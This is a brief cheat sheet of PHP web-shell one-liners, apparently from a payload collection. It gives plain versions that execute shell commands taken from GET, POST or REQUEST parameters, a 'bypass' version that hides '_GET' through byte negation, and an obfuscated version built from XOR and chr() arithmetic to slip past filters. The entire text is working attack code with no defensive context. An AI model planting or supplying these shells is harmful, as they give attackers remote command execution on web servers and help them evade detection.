PHP - Tiny with bypass:
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
PHP - Tiny with obfuscation:
# Unobfuscated
<?=`$_GET[0]`?>
<?=`$_POST[0]`?>
<?=`{$_REQUEST['_']}`?>
# Obfuscated
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>